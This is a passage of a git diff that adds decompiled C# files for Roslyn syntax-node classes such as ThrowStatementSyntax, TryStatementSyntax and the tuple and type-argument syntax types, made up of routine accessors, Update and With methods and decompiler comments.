IL or missing references) + return Update(ThrowKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowStatementSyntax.cs new file mode 100644 index 0000000..b391fb2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowStatementSyntax.cs @@ -0,0 +1,137 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ThrowStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken ThrowKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ThrowStatementSyntax)(object)((SyntaxNode)this).Green).throwKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax? Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ThrowStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ThrowStatementSyntax Update(SyntaxToken throwKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, throwKeyword, expression, semicolonToken); + } + + internal ThrowStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref expression, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThrowStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThrowStatement(this); + } + + public ThrowStatementSyntax Update(SyntaxList attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || throwKeyword != ThrowKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + ThrowStatementSyntax throwStatementSyntax = SyntaxFactory.ThrowStatement(attributeLists, throwKeyword, expression, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return throwStatementSyntax; + } + return throwStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ThrowStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, ThrowKeyword, Expression, SemicolonToken); + } + + public ThrowStatementSyntax WithThrowKeyword(SyntaxToken throwKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, throwKeyword, Expression, SemicolonToken); + } + + public ThrowStatementSyntax WithExpression(ExpressionSyntax? expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ThrowKeyword, expression, SemicolonToken); + } + + public ThrowStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ThrowKeyword, Expression, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ThrowStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TryStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TryStatementSyntax.cs new file mode 100644 index 0000000..4a3f90e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TryStatementSyntax.cs @@ -0,0 +1,179 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TryStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private BlockSyntax? block; + + private SyntaxNode? catches; + + private FinallyClauseSyntax? @finally; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken TryKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TryStatementSyntax)(object)((SyntaxNode)this).Green).tryKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 2); + + public SyntaxList Catches => new SyntaxList(((SyntaxNode)this).GetRed(ref catches, 3)); + + public FinallyClauseSyntax? Finally => ((SyntaxNode)this).GetRed(ref @finally, 4); + + public TryStatementSyntax Update(SyntaxToken tryKeyword, BlockSyntax block, SyntaxList catches, FinallyClauseSyntax @finally) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, tryKeyword, block, catches, @finally); + } + + internal TryStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref block, 2), + 3 => ((SyntaxNode)this).GetRed(ref catches, 3), + 4 => ((SyntaxNode)this).GetRed(ref @finally, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => block, + 3 => catches, + 4 => @finally, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTryStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTryStatement(this); + } + + public TryStatementSyntax Update(SyntaxList attributeLists, SyntaxToken tryKeyword, BlockSyntax block, SyntaxList catches, FinallyClauseSyntax? @finally) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || tryKeyword != TryKeyword || block != Block || catches != Catches || @finally != Finally) + { + TryStatementSyntax tryStatementSyntax = SyntaxFactory.TryStatement(attributeLists, tryKeyword, block, catches, @finally); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return tryStatementSyntax; + } + return tryStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new TryStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, TryKeyword, Block, Catches, Finally); + } + + public TryStatementSyntax WithTryKeyword(SyntaxToken tryKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, tryKeyword, Block, Catches, Finally); + } + + public TryStatementSyntax WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, TryKeyword, block, Catches, Finally); + } + + public TryStatementSyntax WithCatches(SyntaxList catches) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, TryKeyword, Block, catches, Finally); + } + + public TryStatementSyntax WithFinally(FinallyClauseSyntax? @finally) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, TryKeyword, Block, Catches, @finally); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new TryStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public TryStatementSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + public TryStatementSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } + + public TryStatementSyntax AddCatches(params CatchClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithCatches(Catches.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleElementSyntax.cs new file mode 100644 index 0000000..6323ec0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleElementSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TupleElementSyntax : CSharpSyntaxNode +{ + private TypeSyntax? type; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public SyntaxToken Identifier + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TupleElementSyntax)(object)((SyntaxNode)this).Green).identifier; + if (identifier == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + internal TupleElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref type); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleElement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleElement(this); + } + + public TupleElementSyntax Update(TypeSyntax type, SyntaxToken identifier) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (type != Type || identifier != Identifier) + { + TupleElementSyntax tupleElementSyntax = SyntaxFactory.TupleElement(type, identifier); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return tupleElementSyntax; + } + return tupleElementSyntax.WithAnnotations(annotations); + } + return this; + } + + public TupleElementSyntax WithType(TypeSyntax type) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(type, Identifier); + } + + public TupleElementSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Type, identifier); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleExpressionSyntax.cs new file mode 100644 index 0000000..21eacb9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleExpressionSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TupleExpressionSyntax : ExpressionSyntax +{ + private SyntaxNode? arguments; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TupleExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Arguments + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arguments, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TupleExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal TupleExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref arguments, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return arguments; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleExpression(this); + } + + public TupleExpressionSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || arguments != Arguments || closeParenToken != CloseParenToken) + { + TupleExpressionSyntax tupleExpressionSyntax = SyntaxFactory.TupleExpression(openParenToken, arguments, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return tupleExpressionSyntax; + } + return tupleExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public TupleExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Arguments, CloseParenToken); + } + + public TupleExpressionSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, arguments, CloseParenToken); + } + + public TupleExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Arguments, closeParenToken); + } + + public TupleExpressionSyntax AddArguments(params ArgumentSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(Arguments.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleTypeSyntax.cs new file mode 100644 index 0000000..4c1936d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TupleTypeSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TupleTypeSyntax : TypeSyntax +{ + private SyntaxNode? elements; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TupleTypeSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Elements + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref elements, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TupleTypeSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal TupleTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref elements, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return elements; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleType(this); + } + + public TupleTypeSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList elements, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || elements != Elements || closeParenToken != CloseParenToken) + { + TupleTypeSyntax tupleTypeSyntax = SyntaxFactory.TupleType(openParenToken, elements, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return tupleTypeSyntax; + } + return tupleTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public TupleTypeSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Elements, CloseParenToken); + } + + public TupleTypeSyntax WithElements(SeparatedSyntaxList elements) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, elements, CloseParenToken); + } + + public TupleTypeSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Elements, closeParenToken); + } + + public TupleTypeSyntax AddElements(params TupleElementSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithElements(Elements.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeArgumentListSyntax.cs new file mode 100644 index 0000000..fdb9bbc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeArgumentListSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeArgumentListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? arguments; + + public SyntaxToken LessThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeArgumentListSyntax)(object)((SyntaxNode)this).Green).lessThanToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Arguments + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arguments, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken GreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeArgumentListSyntax)(object)((SyntaxNode)this).Green).greaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal TypeArgumentListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref arguments, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return arguments; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeArgumentList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeArgumentList(this); + } + + public TypeArgumentListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList arguments, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || arguments != Arguments || greaterThanToken != GreaterThanToken) + { + TypeArgumentListSyntax typeArgumentListSyntax = SyntaxFactory.TypeArgumentList(lessThanToken, arguments, greaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeArgumentListSyntax; + } + return typeArgumentListSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeArgumentListSyntax WithLessThanToken(SyntaxToken lessThanToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanToken, Arguments, GreaterThanToken); + } + + public TypeArgumentListSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, arguments, GreaterThanToken); + } + + public TypeArgumentListSyntax WithGreaterThanToken(SyntaxToken greaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Arguments, greaterThanToken); + } + + public TypeArgumentListSyntax AddArguments(params TypeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(Arguments.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeConstraintSyntax.cs 